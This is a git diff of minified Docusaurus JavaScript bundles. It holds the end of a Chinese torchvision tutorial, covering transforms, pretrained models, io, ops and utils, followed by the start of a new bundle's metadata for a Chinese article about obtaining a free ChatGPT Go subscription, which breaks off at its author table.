(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"PhotoTour"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Places365"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"QMNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SBD"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SEMEION"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"STL10"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SVHN"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"UCF101"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"VOC"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"WIDERFace"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})]})]}),"\n",(0,r.jsx)(e.h2,{id:"823-torchvisiontransforms",children:"8.2.3 torchvision.transforms"}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u77e5\u9053\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5904\u7406\u7684\u6570\u636e\u96c6\u6709\u5f88\u5927\u4e00\u90e8\u5206\u662f\u56fe\u7247\u7c7b\u578b\u7684\uff0c\u5982\u679c\u83b7\u53d6\u7684\u6570\u636e\u662f\u683c\u5f0f\u6216\u8005\u5927\u5c0f\u4e0d\u4e00\u7684\u56fe\u7247\uff0c\u5219\u9700\u8981\u8fdb\u884c\u5f52\u4e00\u5316\u548c\u5927\u5c0f\u7f29\u653e\u7b49\u64cd\u4f5c\uff0c\u8fd9\u4e9b\u662f\u5e38\u7528\u7684\u6570\u636e\u9884\u5904\u7406\u65b9\u6cd5\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5f53\u56fe\u7247\u6570\u636e\u6709\u9650\u65f6\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u901a\u8fc7\u5bf9\u73b0\u6709\u56fe\u7247\u6570\u636e\u8fdb\u884c\u5404\u79cd\u53d8\u6362\uff0c\u5982\u7f29\u5c0f\u6216\u653e\u5927\u3001\u6c34\u5e73\u6216\u5782\u76f4\u7ffb\u8f6c\u7b49\uff0c\u8fd9\u4e9b\u662f\u5e38\u89c1\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\u3002\u800ctorchvision.transforms\u4e2d\u5c31\u5305\u542b\u4e86\u8bb8\u591a\u8fd9\u6837\u7684\u64cd\u4f5c\u3002\u5728\u4e4b\u524d\u7b2c\u56db\u7ae0\u7684Fashion-mnist\u5b9e\u6218\u4e2d\u5bf9\u6570\u636e\u7684\u5904\u7406\u65f6\u6211\u4eec\u5c31\u7528\u5230\u4e86torchvision.transformer\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"from torchvision import transforms\ndata_transform = transforms.Compose([\n transforms.ToPILImage(), # \u8fd9\u4e00\u6b65\u53d6\u51b3\u4e8e\u540e\u7eed\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f\uff0c\u5982\u679c\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u5219\u4e0d\u9700\u8981\n transforms.Resize(image_size),\n transforms.ToTensor()\n])\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u9664\u4e86\u4e0a\u9762\u63d0\u5230\u7684\u51e0\u79cd\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\uff0c\u5728torchvision\u5b98\u65b9\u6587\u6863\u91cc\u63d0\u5230\u4e86\u66f4\u591a\u7684\u64cd\u4f5c\uff0c\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u53c2\u8003\u672c\u8282\u914d\u5957\u7684\u201dtransforms.ipynb\u201c\uff0c\u5728\u8fd9\u4e2anotebook\u4e2d\u6211\u4eec\u7ed9\u51fa\u4e86\u5e38\u89c1\u7684transforms\u7684API\u53ca\u5176\u4f7f\u7528\u65b9\u6cd5\uff0c\u66f4\u591a\u6570\u636e\u53d8\u6362\u7684\u64cd\u4f5c\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/transforms.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"824-torchvisionmodels",children:"8.2.4 torchvision.models"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3a\u4e86\u63d0\u9ad8\u8bad\u7ec3\u6548\u7387\uff0c\u51cf\u5c11\u4e0d\u5fc5\u8981\u7684\u91cd\u590d\u52b3\u52a8\uff0cPyTorch\u5b98\u65b9\u4e5f\u63d0\u4f9b\u4e86\u4e00\u4e9b\u9884\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://github.com/pytorch/vision/tree/master/torchvision/models",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u73b0\u5728\u6709\u54ea\u4e9b\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u4e0b\u9762\u6211\u4eec\u5c06\u5bf9\u5982\u4f55\u4f7f\u7528\u8fd9\u4e9b\u6a21\u578b\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\u3002 \u6b64\u5904\u6211\u4eec\u4ee5torchvision0.10.0 \u4e3a\u4f8b\uff0c\u5982\u679c\u5e0c\u671b\u83b7\u53d6\u66f4\u591a\u7684\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u53ef\u4ee5\u4f7f\u7528\u4f7f\u7528pretrained-models.pytorch\u4ed3\u5e93\u3002\u73b0\u6709\u9884\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u53ef\u4ee5\u5206\u4e3a\u4ee5\u4e0b\u51e0\u7c7b\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Classification"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u56fe\u50cf\u5206\u7c7b\u91cc\u9762\uff0cPyTorch\u5b98\u65b9\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u6a21\u578b\uff0c\u5e76\u6b63\u5728\u4e0d\u65ad\u589e\u591a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"AlexNet"}),(0,r.jsx)(e.th,{children:"VGG"}),(0,r.jsx)(e.th,{children:"ResNet"}),(0,r.jsx)(e.th,{children:"SqueezeNet"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"DenseNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Inception v3"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"GoogLeNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ShuffleNet v2"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MobileNetV2"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MobileNetV3"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ResNext"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Wide ResNet"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MNASNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"EfficientNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"RegNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u6301\u7eed\u66f4\u65b0"})})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e9b\u6a21\u578b\u662f\u5728ImageNet-1k\u8fdb\u884c\u9884\u8bad\u7ec3\u597d\u7684\uff0c\u5177\u4f53\u7684\u4f7f\u7528\u6211\u4eec\u4f1a\u5728\u540e\u9762\u8fdb\u884c\u4ecb\u7ecd\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#",children:"\u8fd9\u91cc"}),"\u53bb\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u5728ImageNet-1k\u7684\u51c6\u786e\u7387\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Semantic Segmentation"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bed\u4e49\u5206\u5272\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u662f\u5728COCO train2017\u7684\u5b50\u96c6\u4e0a\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u63d0\u4f9b\u4e8620\u4e2a\u7c7b\u522b\uff0c\u5305\u62ecbackground, aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa,train, tvmonitor\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"FCN ResNet50"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"FCN ResNet101"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 ResNet50"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 ResNet101"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"LR-ASPP MobileNetV3-Large"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 MobileNetV3-Large"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u5177\u4f53\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#semantic-segmentation",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u9884\u8bad\u7ec3\u7684\u6a21\u578b\u7684",(0,r.jsx)(e.code,{children:"mean IOU"}),"\u548c",(0,r.jsx)(e.code,{children:" global pixelwise acc"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Object Detection\uff0cinstance Segmentation and Keypoint Detection"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u7269\u4f53\u68c0\u6d4b\uff0c\u5b9e\u4f8b\u5206\u5272\u548c\u4eba\u4f53\u5173\u952e\u70b9\u68c0\u6d4b\u7684\u6a21\u578b\u6211\u4eec\u540c\u6837\u662f\u5728COCO train2017\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u5728\u4e0b\u65b9\u6211\u4eec\u63d0\u4f9b\u4e86\u5b9e\u4f8b\u5206\u5272\u7684\u7c7b\u522b\u548c\u4eba\u4f53\u5173\u952e\u70b9\u68c0\u6d4b\u7c7b\u522b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"COCO_INSTANCE_CATEGORY_NAMES = [\n '__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus','train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A','handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball','kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket','bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl','banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza','donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table','N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone','microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book','clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush']\nCOCO_PERSON_KEYPOINT_NAMES =['nose','left_eye','right_eye','left_ear','right_ear','left_shoulder','right_shoulder','left_elbow','right_elbow','left_wrist','right_wrist','left_hip','right_hip','left_knee','right_knee','left_ankle','right_ankle']\n"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"Faster R-CNN"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"Mask R-CNN"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"RetinaNet"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"SSDlite"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SSD"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u540c\u6837\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#object-detection-instance-segmentation-and-person-keypoint-detection",children:"\u8fd9\u91cc"}),"\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u5728COCO train 2017\u4e0a\u7684",(0,r.jsx)(e.code,{children:"box AP"}),",",(0,r.jsx)(e.code,{children:"keypoint AP"}),",",(0,r.jsx)(e.code,{children:"mask AP"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Video classification"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u89c6\u9891\u5206\u7c7b\u6a21\u578b\u662f\u5728 Kinetics-400\u4e0a\u8fdb\u884c\u9884\u8bad\u7ec3\u7684"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet 3D 18"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet MC 18"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet (2+1) D"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u540c\u6837\u6211\u4eec\u4e5f\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#video-classification",children:"\u8fd9\u91cc"}),"\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u7684",(0,r.jsx)(e.code,{children:"Clip acc@1"}),",",(0,r.jsx)(e.code,{children:"Clip acc@5"})]}),"\n",(0,r.jsx)(e.h2,{id:"825-torchvisionio",children:"8.2.5 torchvision.io"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"torchvision.io"}),"\u63d0\u4f9b\u4e86\u89c6\u9891\u3001\u56fe\u7247\u548c\u6587\u4ef6\u7684 IO \u64cd\u4f5c\u7684\u529f\u80fd\uff0c\u5b83\u4eec\u5305\u62ec\u8bfb\u53d6\u3001\u5199\u5165\u3001\u7f16\u89e3\u7801\u5904\u7406\u64cd\u4f5c\u3002\u968f\u7740torchvision\u7684\u53d1\u5c55\uff0cio\u4e5f\u589e\u52a0\u4e86\u66f4\u591a\u5e95\u5c42\u7684\u9ad8\u6548\u7387\u7684API\u3002\u5728\u4f7f\u7528torchvision.io\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u9700\u8981\u6ce8\u610f\u4ee5\u4e0b\u51e0\u70b9\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4e0d\u540c\u7248\u672c\u4e4b\u95f4\uff0c",(0,r.jsx)(e.code,{children:"torchvision.io"}),"\u6709\u7740\u8f83\u5927\u53d8\u5316\uff0c\u56e0\u6b64\u5728\u4f7f\u7528\u65f6\uff0c\u9700\u8981\u67e5\u770b\u4e0b\u6211\u4eec\u7684",(0,r.jsx)(e.code,{children:"torchvision"}),"\u7248\u672c\u662f\u5426\u5b58\u5728\u4f60\u60f3\u4f7f\u7528\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"\u9664\u4e86read_video()\u7b49\u65b9\u6cd5\uff0ctorchvision.io\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7ec6\u7c92\u5ea6\u7684\u89c6\u9891API torchvision.io.VideoReader() \uff0c\u5b83\u5177\u6709\u66f4\u9ad8\u7684\u6548\u7387\u5e76\u4e14\u66f4\u52a0\u63a5\u8fd1\u5e95\u5c42\u5904\u7406\u3002\u5728\u4f7f\u7528\u65f6\uff0c\u6211\u4eec\u9700\u8981\u5148\u5b89\u88c5ffmpeg\u7136\u540e\u4ece\u6e90\u7801\u91cd\u65b0\u7f16\u8bd1torchvision\u6211\u4eec\u624d\u80fd\u6211\u4eec\u80fd\u4f7f\u7528\u8fd9\u4e9b\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u4f7f\u7528Video\u76f8\u5173API\u65f6\uff0c\u6211\u4eec\u6700\u597d\u63d0\u524d\u5b89\u88c5\u597dPyAV\u8fd9\u4e2a\u5e93\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"826-torchvisionops",children:"8.2.6 torchvision.ops"}),"\n",(0,r.jsxs)(e.p,{children:["torchvision.ops \u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u7279\u5b9a\u64cd\u4f5c\uff0c\u5305\u62ec\u4f46\u4e0d\u4ec5\u9650\u4e8eNMS\uff0cRoIAlign\uff08MASK R-CNN\u4e2d\u5e94\u7528\u7684\u4e00\u79cd\u65b9\u6cd5\uff09\uff0cRoIPool\uff08Fast R-CNN\u4e2d\u7528\u5230\u7684\u4e00\u79cd\u65b9\u6cd5\uff09\u3002\u5728\u5408\u9002\u7684\u65f6\u95f4\u4f7f\u7528\u53ef\u4ee5\u5927\u5927\u964d\u4f4e\u6211\u4eec\u7684\u5de5\u4f5c\u91cf\uff0c\u907f\u514d\u91cd\u590d\u7684\u9020\u8f6e\u5b50\uff0c\u60f3\u770b\u66f4\u591a\u7684\u51fd\u6570\u4ecb\u7ecd\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/ops.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u7ec6\u81f4\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"827-torchvisionutils",children:"8.2.7 torchvision.utils"}),"\n",(0,r.jsxs)(e.p,{children:["torchvision.utils \u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e9b\u53ef\u89c6\u5316\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u5c06\u82e5\u5e72\u5f20\u56fe\u7247\u62fc\u63a5\u5728\u4e00\u8d77\u3001\u53ef\u89c6\u5316\u68c0\u6d4b\u548c\u5206\u5272\u7684\u6548\u679c\u3002\u5177\u4f53\u65b9\u6cd5\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/utils.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u603b\u7684\u6765\u8bf4\uff0ctorchvision\u7684\u51fa\u73b0\u5e2e\u52a9\u6211\u4eec\u89e3\u51b3\u4e86\u5e38\u89c1\u7684\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u4e00\u4e9b\u91cd\u590d\u4e14\u8017\u65f6\u7684\u5de5\u4f5c\uff0c\u5e76\u5728\u6570\u636e\u96c6\u7684\u83b7\u53d6\u3001\u6570\u636e\u589e\u5f3a\u3001\u6a21\u578b\u9884\u8bad\u7ec3\u7b49\u65b9\u9762\u5927\u5927\u964d\u4f4e\u4e86\u6211\u4eec\u7684\u5de5\u4f5c\u96be\u5ea6\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u66f4\u52a0\u5feb\u901f\u4e0a\u624b\u4e00\u4e9b\u8ba1\u7b97\u673a\u89c6\u89c9\u4efb\u52a1\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/d72f0f32.2c6d4a2d.js b/en/assets/js/d72f0f32.2c6d4a2d.js new file mode 100644 index 0000000..196090e --- /dev/null +++ b/en/assets/js/d72f0f32.2c6d4a2d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6045],{16278:(n,e,d)=>{d.r(e),d.d(e,{assets:()=>c,contentTitle:()=>i,default:()=>j,frontMatter:()=>l,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","title":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/06.\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/personal/articles/free-chatgpt-go-one-year","permalink":"/en/docs/personal/articles/free-chatgpt-go-one-year","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/06.\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{"slug":"/personal/articles/free-chatgpt-go-one-year"},"sidebar":"tutorialSidebar","previous":{"title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"},"next":{"title":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| \u52a0\u62ff\u5927|\u82f1\u56fd|VPS\u4e91\u4e3b\u673a","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74 \u7f8e\u56fd\u3001\u52a0\u62ff\u5927\u3001\u82f1\u56fd\u7b49\u4e91\u4e3b\u673a"}}');var t=d(74848),r=d(28453);const l={slug:"/personal/articles/free-chatgpt-go-one-year"},i="\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01",c={},h=[{value:"\u9886\u53d6\u6761\u4ef6",id:"\u9886\u53d6\u6761\u4ef6",level:2},{value:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",level:2},{value:"\u9886\u53d6\u5b9e\u64cd",id:"\u9886\u53d6\u5b9e\u64cd",level:2},{value:"\u6ce8\u610f\u4e8b\u9879",id:"\u6ce8\u610f\u4e8b\u9879",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function x(n){const e={blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"\u9650\u65f6\u767d\u5ad6\u514d\u8d39\u9886\u53d6\u4e00\u5e74chatgpt-go\u5957\u9910--chatgpt-plus\u9752\u6625\u7248--\u4f7f\u7528gpt-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\u6e38\u5203\u6709\u4f59-",children:"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 